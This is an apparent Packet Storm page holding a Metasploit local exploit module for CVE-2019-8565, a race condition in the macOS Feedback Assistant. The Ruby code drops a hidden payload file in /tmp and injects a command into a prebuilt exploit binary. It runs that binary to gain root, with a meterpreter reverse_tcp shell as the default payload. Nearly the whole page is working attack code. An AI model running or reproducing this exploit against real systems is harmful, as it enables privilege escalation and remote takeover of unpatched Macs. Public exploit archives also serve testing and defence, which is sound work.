Lucene search

K
packetstormTimwrPACKETSTORM:152996
HistoryMay 22, 2019 - 12:00 a.m.

Mac OS X Feedback Assistant Race Condition

2019-05-2200:00:00
timwr
packetstormsecurity.com
362

0.002 Low

EPSS

Percentile

57.1%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::OSX::Priv  
include Msf::Post::OSX::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mac OS X Feedback Assistant Race Condition',  
'Description' => %q{  
This module exploits a race condition vulnerability in Mac's Feedback Assistant.  
A successful attempt would result in remote code execution under the context of  
root.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'CodeColorist', # Discovery and exploit  
'timwr', # Metasploit module  
],  
'References' => [  
['CVE', '2019-8565'],  
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],  
['URL', 'https://support.apple.com/en-in/HT209600'],  
['URL', 'https://github.com/ChiChou/sploits'],  
],  
'SessionTypes' => [ 'meterpreter', 'shell' ],  
'Platform' => [ 'osx', 'python', 'unix' ],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },  
'Targets' => [  
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],  
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],  
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],  
],  
'DisclosureDate' => 'Apr 13 2019'))  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def upload_executable_file(filepath, filedata)  
print_status("Uploading file: '#{filepath}'")  
write_file(filepath, filedata)  
chmod(filepath)  
register_file_for_cleanup(filepath)  
end  
  
def check  
version = Gem::Version.new(get_system_version)  
if version >= Gem::Version.new('10.14.4')  
CheckCode::Safe  
else  
CheckCode::Appears  
end  
end  
  
def exploit  
if check != CheckCode::Appears  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless writable? datastore['WritableDir']  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"  
end  
  
case target['Arch']  
when ARCH_X64  
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"  
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)  
upload_executable_file(payload_file, binary_payload)  
root_cmd = payload_file  
when ARCH_PYTHON  
root_cmd = "echo \"#{payload.encoded}\" | python"  
else  
root_cmd = payload.encoded  
end  
root_cmd = root_cmd + " & \0"  
if root_cmd.length > 1024  
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"  
end  
  
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))  
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')  
exploit_data[placeholder_index, root_cmd.length] = root_cmd  
  
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"  
upload_executable_file(exploit_file, exploit_data)  
  
print_status("Executing exploit '#{exploit_file}'")  
result = cmd_exec(exploit_file)  
print_status("Exploit result:\n#{result}")  
end  
end  
`

0.002 Low

EPSS

Percentile

57.1%